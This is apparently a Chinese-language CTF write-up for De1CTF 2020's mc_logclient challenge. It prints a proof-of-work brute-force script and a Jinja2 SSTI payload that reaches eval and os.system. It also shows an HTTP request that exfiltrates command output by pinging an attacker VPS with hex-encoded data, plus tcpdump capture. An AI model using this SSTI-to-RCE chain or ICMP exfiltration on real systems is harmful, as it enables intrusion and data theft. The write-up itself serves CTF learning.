De1CTF 2020 mc_logclient复盘

  ctf

0x00前言

周末打了De1CTF,好不容易有一个python题目,但是无奈最后没有做出来,tttttttttttcl。赛后进行一下复盘

环境在https://github.com/impakho/de1ctf-mc_challs/tree/master/docker/logclient

0x01 Writeup

首先阅读源码,主要有三个路由powreadwrite,pow主要是生成一个text和对应的hash校验码,用于在read和write路由上面做认证的。通读代码,主要的漏洞点如下,做了一些注释

def renderHandler(session, html):
    renderCleanUp(session)

    # For security, fork a child process to render.

    r, w = os.pipe()
    session['w'] = w

    pid = os.fork()

    if pid:
        os.close(r)

        # Check child process status, and wait it to finish
        thread = waitThread(pid)
        thread.start() # 父进程等待开启线程

    else:
        # 要么主进程是子进程,要么创建失败
        # 主进程进入到使用render_template_string
        signal.signal(signal.SIGALRM, kill)
        signal.alarm(30)

        os.close(w)
        r = os.fdopen(r, 'r')
        sys.stdin = r

        try:
            render_template_string(html)  
        except:
            pass
        kill(None, None)

    return html

可以看到虽然程序做了一个fork动作,但是在进程中fork会返回三种数字,大于0的父进程和等于0的主进程和小于0的进程创建失败,同时使用fork之后程序会在当前代码之后启用两个pid来进行代码,因此下面if和else都会被执行。众所周知,render_template_string是一个标准的SSTI漏洞,因此本题目与SSTI相关的可能性非常大。查看一下renderHandler调用的地方,是在read方法里面,同时renderHandler函数返回的原本的html,那么就意味着在read函数里面可能不会直接显示SSTI的结果,然是需要远程回弹结果。在read里面又有一个checkPoW函数,就是检查text中的后四位是否正确,通过计算,这四个字符是可以被爆破的,大概有50*49*48*47/4*3*2*1中方法,因此编写脚本爆破

import hashlib
import string
import sys

strs = string.ascii_letters + string.digits



keys = '54zCuHpmnjSs'
result = '20d4ab6ec465ce4fec4187f53bc1cb1e535dcbbc516c45580901cc3b857ffbed'



for ek in keys:
	strs = strs.replace(ek, '')

for i in strs:
	temp1 = list(strs)
	temp1.remove(i)
	for j in temp1:
		temp2 = list(temp1)
		temp2.remove(j)
		for k in temp2:
			temp3 = list(temp2)
			temp3.remove(k)
			for m in temp3:
				temp4 = list(temp3)
				temp4.remove(m)
				work = i+j+k+m
				if hashlib.sha256((keys + work).encode()).hexdigest() == result:
					print(keys + work)
					print("work find!: ",work)  
					sys.exit(0)

在成功阅读之后,系统会返回一个cookie,是用来写文件用的,将cookie放入pow路径下获取新的text既可以进行写文件。之后在这里便断了思路,后面放出了Hint,说6000端口能写日志,但是测了半天,1bit都写不进去。将整个log文件下下来分析,发现一连串字符


 

认为肯定有哪里是有对话功能的,于是乎扫了ip的所有端口,发现了80、4080、6000、6001、6002、6003和25565七个端口,发现4080能够对话,属于6003中的server服务,git地址为https://github.com/fogleman/Craft,于是,在此完蛋、、赛后看了wp,发现其实是25565端口的对话,然后根据exp.go发现mc 1.2版本的通信协议,主要参考为https://wiki.vg/index.php?title=Protocol&oldid=13223,没玩过mc,连都不会连,tnl。抄一抄exp的连接协议,help之后有uuid的选项,同时也成功写入了log日志

那么之后便是写入SSTI了,由于没有回显示,而且只能发icmp包,那么就将数据通过icmp进行外带,因为是python3.8,于是在3.8上面进行payload测试,最终得到的payload为

[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.b]['eval'](request.args.command)}}

通过read传入参数带出数据

GET /read?work=Joda&filename=110ce0f0-7b8b-4fdd-b9a1-f10eb286fa00&b=__builtins__&command=__import__("os").system("ping+-c+1+-p+74657374+{{vps}}") HTTP/1.1
Host: 134.175.230.10:6001
User-Agent: Go-http-client/1.1
Cookie: session=eyJyZXN1bHQiOiI4MjY0MjNiNzE4OTcyMjI0M2IxNDkxOWM4Y2EzZmRhZTMyNjkxM2IyNGM0NmNhYTAzODVkYjg5ZjYxNzg1ZTRiIiwidGV4dCI6IldtRXJSM1RIc3kycCJ9.XrVBlQ.NSGDLQDMZLXB0fwhNS71qenGP88
Accept-Encoding: gzip, deflate
Connection: close

在vps上面使用命令

tcpdump -c 2 -q -XX -vvv -nn -i eth0 icmp

进行icmp包的解析,成功获得数据

后续就用命令执行函数执行readflag文件就行,注意icmp包貌似最大只能接收84长度的数据包,多了后面就没有了,就需要发送三次

 

一条龙的payload官网上就直接能看到,https://github.com/impakho/de1ctf-mc_challs/tree/master/writeup/mc_logclient,另外sys.breakpointhook姿势也是非常地骚,学习了